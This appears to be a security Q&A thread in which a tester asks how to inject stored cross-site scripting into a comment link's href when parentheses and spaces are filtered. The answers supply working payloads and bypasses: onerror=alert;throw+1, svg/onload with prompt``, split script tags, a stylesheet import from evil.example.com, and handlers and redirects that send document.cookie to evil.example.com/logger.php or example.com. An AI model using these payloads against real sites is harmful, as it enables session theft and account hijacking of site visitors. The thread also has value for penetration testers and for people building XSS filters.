Stored Cross-Site Scripting Without Parentheses or Spaces

Question

I'm testing a commenting application that takes a link of the form http://google.com and puts it in an href tag as so:

<a rel="nofollow" href="http://google.com">

The resulting comment is stripped of http:// or https://.

In testing, I've been attempting to utilize some form of http://"onmouseover="alert(1); this way I would have <a href="http://"onmouseover="alert(1);"> on the page, but it hasn't been working.

More info:

1. Parentheses are filtered out. I've tried various encodings.

2. <script> tags are filtered, but you can get around this via <scr<script>ipt>.

3. Spaces can't be used (they break the tag if I use a space). I've tried ASCII and %20.

4. I can use a semicolon, but I have to double it if it would be the last character, and then it works fine.

5. Angle brackets, double quotes, single quotes, forward slashes, backward slashes and colons all pass through with no filter.

I don't really know how to utilize the <script>alert;throw 1;<script> I've seen used before, as it doesn't seem to execute anything, and even if it did, the space can't be used.

Any ideas?

Answer 1

I'm assuming the following filter for my examples (it seems to match your description; I ignored the script and ; filter to simplify things, because you said you can get around them):

$hasSpace = preg_match('/\s/', $_GET['v']);
if ($hasSpace) {
    echo 'space!';
} else {
    $replaced = str_replace(array('(', ')'), '', $_GET['v']);
    echo '<a href="' . $replaced . '">link</a>';
}

Include Stylesheet

It is possible to include a stylesheet via XSS like this:

"><style>@import'http://evil.example.com/xss.css';</style>

You can now change the layout of the website, which isn't bad.

XSS via CSS

You can see one possible way of using CSS to execute JavaScript in the post I linked above (background-image: url('javascript:alert(document.cookie);'); it didn't work for me, but it might work for you).

And you can search the web for further possibilities (like expression for older versions of IE, etc).

Using onerror with space

I don't really know how to utilize the <script>alert;throw 1;<script>

Here is a pretty good description how onerror XSS works.

If we modify my PHP code above so that whitespace is allowed (remove the if), you can use this for an attack:

"><script>onerror=alert;throw 1;</script>

It basically says that if an error occurs, alert is to be called (with the error as argument). And then an error is created. If you use throw "XSS", then it will alert XSS.

Using onerror without space

The good thing? You don't even need a space: throw+1 works just as well.

If not only spaces, but all whitespace is filtered out, this will also not work. But you can change it to something, and it will still work (as something is not defined it will cause a reference error).

If space is filtered, but whitespace is not

If you have a filter like this: str_replace(array('(', ')', ' ') instead of the whitespace regex in my original code, you can replace space with + and do for example this:

"+onmouseover="document.location='http://evil.example.com/logger.php?c='%2Bdocument.cookie

Answer 2

First of all, you actually can split tags in html using / char. Common example is: <svg/onload=alert(1).

In your case try payload like http://"/onmouseover="alert(1). It should work.

Secondly, try avoiding unnecessary symbols in your payloads, like semicolon in your payload. Also, quote " is unnecessary symbol in most case (not in your so far). So try writing onload=<your_paylaod> instead of onload="<your_payload>".

Thirdly, do not use user-interaction actions like onclick or onmouseover. Use onload, onerror or combinate them like onfocus=<your_payload> autofocus.

Next, you might try using prompt`` instead of parentheses if they are not allowed. (the wiki-formatting will not allow me to print any value inside the strokes, so I hope you will understand it.

Finally, to escape common xss filters, use prompt(1) instead of alert(1), use <svg instead of <img, use document['cookie'] instead of document.cookie.

Good luck.

Answer 3

How about:

javascript:document.location.href='http://www.example.com/'+document.cookie

Or

"/><scri<script>pt>document.location.href='http://www.example.com/'+document.cookie</script>

Do they abide by the filtering rules you've discovered? The only bit I didn't understand was when you said:

The resulting comment is stripped of http:// or https://.

Do you mean the part in between the <a> and </a> tags - so http://www.google.com is usually rendered as <a rel="nofollow" href="http://google.com">google.com</a>?